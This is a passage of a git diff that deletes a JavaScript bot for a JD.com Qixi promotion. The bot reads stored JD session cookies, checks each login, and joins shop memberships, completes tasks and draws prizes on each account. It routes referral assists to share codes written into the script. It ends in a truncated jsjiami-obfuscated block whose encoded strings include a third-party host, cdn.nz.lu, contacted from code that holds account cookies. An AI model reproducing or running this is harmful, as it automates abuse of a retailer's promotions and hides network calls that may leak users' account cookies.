i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customized2a.js b/jd_lzdz1_customized2a.js deleted file mode 100644 index 25a9036..0000000 --- a/jd_lzdz1_customized2a.js +++ /dev/null @@ -1,541 +0,0 @@ -/* -甜蜜七夕 跨越时空中意你 -*/ -const $ = new Env("甜蜜七夕 跨越时空中意你"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const notify = $.isNode() ? require("./sendNotify") : ""; -let cookiesArr = [], cookie = "", message = ""; -let ownCode = null; -let authorCodeList = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else { - let cookiesData = $.getdata("CookiesJD") || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map((item) => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter((item) => !!item); -} -!(async () => { - $.getAuthorCodeListerr = false; - if (!cookiesArr[0]) { - $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/Code/raw/master/lzdz3.json') - // if ($.getAuthorCodeListerr === false) { - // authorCodeList = [ - // '086dd4c612be4636871b79f34faf5dc2', - // ] - // } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - originCookie = cookiesArr[i]; - newCookie = ""; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ""; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - // if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - // } - continue; - } - $.bean = 0; - $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); - $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); - authorCodeList = [ - "9b73221930c745cb85f6c47652bd4d05", - "9d4dd82831a543a4aca2fd62f7dd286d", - "1a44e6003c6e4e00a0edc7d3efa01384", - ]; - // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}`; - $.randomCode = random(1000000, 9999999); - $.activityId = "dz3bb5f3ac4d64b3dad317e42bccb4"; - $.activityShopId = "1000002558"; - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/jul/qixiFirst/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=${$.activityShopId}&sid=&un_area=`; - await member(); - // await $.wait(1000); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; - } - } - } - if (message !== "") { - if ($.isNode()) { - await notify.sendNotify($.name, message, "", `\n`); - } else { - $.msg($.name, "有点儿收获", message); - } - } -})() - .catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); - }) - .finally(() => { - $.done(); - }); - -async function member() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null; - lz_cookie = {}; - await getFirstLZCK(); - await getToken(); - await task("dz/common/getSimpleActInfoVo", `activityId=${$.activityId}`, 1); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> " + $.authorCode); - await taskaccessLog("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - // await task("wxActionCommon/getUserInfo", `pin=${encodeURIComponent($.secretPin)}`, 1); - // console.log($.cookie) - await task("jul/qixiFirst/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&shareUuid=${encodeURIComponent($.authorCode)}`); - $.log("关注店铺"); - await task("jul/qixiFirst/saveTask", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=&shareUuid=${encodeURIComponent($.authorCode)}`); - await $.wait(1000); - await task("jul/qixiFirst/saveTask", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=6&taskValue=6&shareUuid=${encodeURIComponent($.authorCode)}`); - await $.wait(1000); - await task("taskact/common/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - await $.wait(1000); - await task("jul/qixiFirst/initOpenCard", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`); - $.log("加入店铺会员"); - if ($.openCardList) { - for (const vo of $.openCardList) { - // console.log(vo) - $.log(`>>> 去加入 ${vo.venderId}`); - if (vo.openStatus === false) { - await getShopOpenCardInfo({ venderId: `${vo.venderId}`, channel: "401" }, vo.venderId); - await bindWithVender({ venderId: `${vo.venderId}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: $.openCardActivityId, channel: 401 }, vo.venderId); - // await $.wait(1000); - } else { - $.log(`>>> 已经是会员`); - } - } - } else { - $.log("没有获取到对应的任务。\n"); - } - await task("jul/qixiFirst/initOpenCard", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`); - // console.log("去助力 -> " + $.authorCode); - // await task("linkgame/assist/status", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`); - // await task("linkgame/assist", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`); - await $.wait(1000); - await task("jul/qixiFirst/draw", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); - // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - - // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - // console.log('任务 -> ') - // await $.wait(2000) - // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - // await $.wait(2000) - // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - // await getFirstLZCK() - // await getToken(); - // console.log('抽奖 -> ') - // await $.wait(2000) - // await task('linkgame/draw', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); - // console.log('100 -> ') - // await getFirstLZCK() - // await getToken(); - // await $.wait(2000) - // await task('linkgame/draw/record', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise((resolve) => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case "dz/common/getSimpleActInfoVo": - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityType = data.data.activityType; - // console.log($.venderId) - break; - case "wxActionCommon/getUserInfo": - break; - case "jul/qixiFirst/activityContent": - // console.log(data) - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`); - $.log("-------------------"); - if ($.index === 1) { - ownCode = data.data.actorUuid; - console.log(ownCode); - } - $.actorUuid = data.data.actorUuid; - } else { - $.log("活动已经结束"); - } - break; - case "jul/qixiFirst/initOpenCard": - $.openCardList = data.data.openInfo; - $.openCardStatus = data.data.allOpenCard; - // console.log(data) - break; - case "jul/qixiFirst/saveTask": - console.log(data); - break; - case "jul/qixiFirst/draw": - console.log(data); - break; - case "opencard/addCart": - if (data.data) { - console.log(data.data); - } - break; - case "linkgame/sendAllCoupon": - if (data.data) { - console.log(data.data); - } - - break; - case "interaction/write/writePersonInfo": - console.log(data); - break; - case "linkgame/draw": - console.log(data); - break; - case "linkgame/draw/record": - console.log(data.data); - break; - case "linkgame/assist/status": - $.log(JSON.stringify(data)); - break; - case "linkgame/assist": - $.log(JSON.stringify(data)); - break; - case "opencard/help/list": - $.log(JSON.stringify(data)); - break; - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - // $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function taskaccessLog(function_id, body, isCommon = 0) { - return new Promise((resolve) => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - // console.log(resp); - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie};`; - for (let sk of resp["headers"]["set-cookie"]) { - lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); - } - for (const vo of Object.keys(lz_cookie)) { - cookie += vo + "=" + lz_cookie[vo] + ";"; - } - } - } - } catch (error) { - console.log(error); - } finally { - resolve(); - } - }); - }); -} -function getAuthorCodeList(url) { - return new Promise((resolve) => { - const options = { - url: `${url}?${new Date()}`, - timeout: 10000, - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88", - }, - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - // $.log(err) - $.getAuthorCodeListerr = false; - } else { - if (data) data = JSON.parse(data); - $.getAuthorCodeListerr = true; - } - } catch (e) { - $.logErr(e, resp); - data = null; - } finally { - resolve(data); - } - }); - }); -} - -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: "lzdz1-isv.isvjcloud.com", - Accept: "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - Origin: "https://lzdz1-isv.isvjcloud.com", - "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: "keep-alive", - Referer: $.activityUrl, - Cookie: $.cookie, - }, - body: body, - }; -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: "lzdz1-isv.isvjcloud.com", - Accept: "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - Origin: "https://lzdz1-isv.isvjcloud.com", - "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: "keep-alive", - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1`, - }; - return new Promise((resolve) => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (resp["headers"]["Set-Cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (data) { - data = JSON.parse(data); - if (data.result) { - $.log(`你好:${data.data.nickname}`); - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}`; - } else { - $.log(data.errorMessage); - } - } else { - $.log("京东返回了空数据"); - } - $.cookie = cookie - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function getFirstLZCK() { - return new Promise((resolve) => { - $.get( - { - url: $.activityUrl, - headers: { - "user-agent": $.isNode() ? process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : require("./USER_AGENTS").USER_AGENT : $.getdata("JDUA") ? $.getdata("JDUA") : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }, - }, - (err, resp, data) => { - try { - if (err) { - console.log(err); - } else { - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (resp["headers"]["Set-Cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - $.cookie = cookie - } - } catch (error) { - console.log(error); - } finally { - resolve(); - } - } - ); - }); -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": "JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)", - "Accept-Language": "zh-Hans-CN;q=1", - "Accept-Encoding": "gzip, deflate, br", - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05`, - }; - return new Promise((resolve) => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token; - } - } else { - $.log("京东返回了空数据"); - } - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function random(min, max) { - return Math.floor(Math.random() * (max - min)) + min; -} -function getUUID(format = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = (Math.random() * 16) | 0, - v = c == "x" ? r : (r & 0x3) | 0x8; - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36); - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - }, - }; - return new Promise((resolve) => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log("京东返回了空数据"); - } - } - } catch (e) { - $.logErr(e); - } finally { - resolve(); - } - }); - }); -} -// prettier-ignore -var _0xod2='jsjiami.com.v6',_0xod2_=['‮_0xod2'],_0x2521=[_0xod2,'\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x61\x30\x70\x69\x59\x32\x67\x3d','\x64\x30\x6c\x71\x59\x55\x30\x3d','\x53\x46\x6c\x48\x5a\x6e\x41\x3d','\x53\x31\x4e\x45\x56\x45\x6f\x3d','\x65\x57\x70\x36\x51\x6b\x59\x3d','\x56\x6b\x4e\x4a\x54\x46\x6b\x3d','\x57\x6d\x5a\x6b\x57\x47\x38\x3d','\x62\x55\x5a\x70\x5a\x32\x34\x3d','\x65\x6e\x52\x6a\x65\x47\x4d\x3d','\x53\x46\x52\x42\x52\x45\x51\x3d','\x63\x30\x52\x74\x63\x6b\x34\x3d','\x64\x47\x4e\x32\x64\x6d\x6f\x3d','\x51\x6b\x56\x52\x64\x45\x30\x3d','\x64\x6e\x5a\x61\x51\x58\x4d\x3d','\x57\x57\x56\x77\x54\x31\x63\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x57\x57\x78\x42\x64\x6d\x67\x3d','\x59\x58\x52\x70\x63\x46\x6f\x3d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x55\x56\x52\x45\x52\x31\x59\x3d','\x56\x57\x5a\x6a\x61\x32\x59\x3d','\x64\x30\x64\x35\x63\x32\x30\x3d','\x5a\x56\x42\x70\x59\x55\x34\x3d','\x61\x6d\x56\x6c\x62\x45\x77\x3d','\x64\x56\x56\x69\x63\x6d\x6f\x3d','\x5a\x30\x52\x43\x64\x56\x67\x3d','\x62\x31\x52\x42\x62\x6b\x73\x3d','\x59\x6e\x5a\x34\x62\x6b\x49\x3d','\x53\x46\x4a\x46\x59\x32\x51\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x64\x58\x70\x79\x59\x55\x34\x3d','\x53\x45\x39\x77\x52\x46\x45\x3d','\x62\x48\x4e\x72\x63\x45\x55\x3d','\x61\x45\x74\x35\x54\x6b\x4d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x55\x57\x31\x50\x63\x6c\x51\x3d','\x64\x55\x4a\x30\x62\x6b\x63\x3d','\x63\x31\x56\x47\x52\x45\x34\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x61\x31\x6c\x51\x52\x6c\x49\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x63\x6c\x5a\x56\x62\x46\x6b\x3d','\x56\x30\x56\x31\x51\x6c\x49\x3d','\x63\x57\x5a\x48\x54\x48\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x52\x55\x64\x6f\x52\x33\x63\x3d','\x55\x6b\x52\x32\x56\x32\x73\x3d','\x59\x56\x4e\x6c\x52\x30\x4d\x3d','\x64\x31\x4e\x4f\x55\x48\x63\x3d','\x63\x33\x5a\x71\x53\x30\x67\x3d','\x52\x55\x78\x75\x63\x56\x59\x3d','\x56\x47\x64\x6c\x62\x57\x38\x3d','\x59\x58\x4e\x33\x59\x33\x59\x3d','\x51\x6b\x39\x58\x62\x58\x45\x3d','\x54\x6b\x70\x44\x59\x6d\x73\x3d','\x61\x33\x70\x47\x57\x45\x55\x3d','\x53\x47\x46\x48\x56\x57\x59\x3d','\x63\x6e\x42\x56\x52\x58\x41\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x3